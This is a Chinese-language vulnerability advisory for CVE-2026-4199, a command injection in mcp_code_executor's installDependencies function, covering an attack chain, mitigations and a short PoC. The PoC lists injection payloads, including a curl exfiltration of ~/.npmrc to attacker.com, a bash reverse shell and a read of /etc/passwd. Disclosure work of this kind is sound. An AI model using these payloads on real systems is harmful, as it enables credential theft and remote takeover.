IPBUF安全漏洞报告
English
CVE-2026-4199 CVSS 5.3 中危

CVE-2026-4199: mcp_code_executor installDependencies函数命令注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4199
漏洞类型
命令注入
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
bazinga012/mcp_code_executor

相关标签

命令注入代码执行mcp_code_executorNode.js本地攻击CVSS 5.3CVE-2026-4199bazinga012npm依赖安装

漏洞概述

CVE-2026-4199是bazinga012/mcp_code_executor项目中存在的一个命令注入漏洞。该漏洞影响0.3.0及之前版本,根源在于src/index.ts文件中的installDependencies函数对用户输入缺乏充分的验证和过滤。攻击者可以通过构造恶意输入,在受影响的系统上执行任意命令。由于该漏洞的CVSS评分为5.3,属于中等严重程度,但考虑到命令注入漏洞的潜在危害性,攻击者一旦成功利用,可获得目标系统的完全控制权,包括数据窃取、横向移动和持久化控制等严重后果。该漏洞仅能从本地环境发起利用,需要低权限认证,且无需用户交互。值得注意的是,该漏洞的利用代码已在公开渠道可获取,且项目方在收到漏洞报告后尚未做出响应,强烈建议用户尽快采取防御措施。

技术细节

该命令注入漏洞存在于mcp_code_executor的src/index.ts文件中的installDependencies函数。漏洞的根本原因是在执行系统命令时未对外部输入进行适当的清理和验证。攻击者可以通过该函数的参数注入恶意命令或命令链,利用操作系统命令执行机制执行任意代码。在Node.js环境中,如果该函数直接使用child_process模块执行命令,且未对输入进行参数化处理或白名单验证,则会直接受到命令注入攻击。具体利用方式包括:1) 使用分号、管道符或反引号等shell特殊字符注入额外命令;2) 利用&&或||逻辑运算符执行条件命令;3) 通过$(command)或反引号`command`语法执行子命令。由于该漏洞需要本地访问权限,攻击场景主要针对开发环境或CI/CD管道中的构建系统。攻击者可能通过恶意构建脚本、依赖配置或开发工具链触发漏洞,进而在开发者机器或构建服务器上执行未授权命令。

攻击链分析

STEP 1
1
信息收集:攻击者通过GitHub仓库、漏洞数据库或安全公告获取目标项目mcp_code_executor的源码和版本信息
STEP 2
2
代码审计:分析src/index.ts文件中的installDependencies函数,识别命令执行路径和输入验证缺陷
STEP 3
3
载荷构造:利用shell特殊字符(如;、|、&&、$()、反引号等)构造恶意命令注入载荷
STEP 4
4
漏洞触发:通过API调用、CLI参数或配置文件等方式将恶意载荷传递给installDependencies函数
STEP 5
5
命令执行:目标系统在执行npm install命令时,注入的恶意命令被一并执行,攻击者获得系统命令执行权限
STEP 6
6
权限提升与持久化:利用获取的初始访问权限执行进一步的攻击操作,如数据窃取、横向移动或安装后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-4199 PoC - Command Injection in mcp_code_executor // Target: bazinga012/mcp_code_executor <= 0.3.0 // Function: installDependencies in src/index.ts // Malicious payload examples: // 1. Basic command injection using backticks const maliciousInput1 = "package; whoami"; // 2. Using command substitution const maliciousInput2 = "$(whoami)"; // 3. Using pipe to chain commands const maliciousInput3 = "package | cat /etc/passwd"; // 4. Exfiltrating sensitive data const maliciousInput4 = "package && curl https://attacker.com/exfil?data=$(cat ~/.npmrc)"; // 5. Reverse shell attempt const maliciousInput5 = "package; bash -i >& /dev/tcp/attacker-ip/port 0>&1"; // Example vulnerable code pattern (to be avoided): /* function installDependencies(dependency) { // VULNERABLE: Direct command execution without sanitization const command = `npm install ${dependency}`; exec(command, (error, stdout, stderr) => { // ... }); } // Attacker can call: // installDependencies("package; malicious_command") // installDependencies("$(malicious_command)") */ console.log("[+] CVE-2026-4199 PoC Demonstrating Command Injection"); console.log("[*] Attack vectors can be triggered through the installDependencies function"); console.log("[*] Requires local access and low privileges"); console.log("[*] Impact: Arbitrary command execution on target system");

影响范围

mcp_code_executor <= 0.3.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制对installDependencies函数的访问权限,仅允许受信任的调用来源;2) 实施严格的输入验证规则,使用正则表达式白名单验证依赖包名称格式;3) 在执行环境变量中添加NODE_ENV=production,禁用某些危险的npm配置;4) 使用容器化技术隔离可能受影响的开发环境;5) 监控和审计系统命令执行日志,及时发现异常行为;6) 对开发团队进行安全意识培训,避免使用来源不明的依赖包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表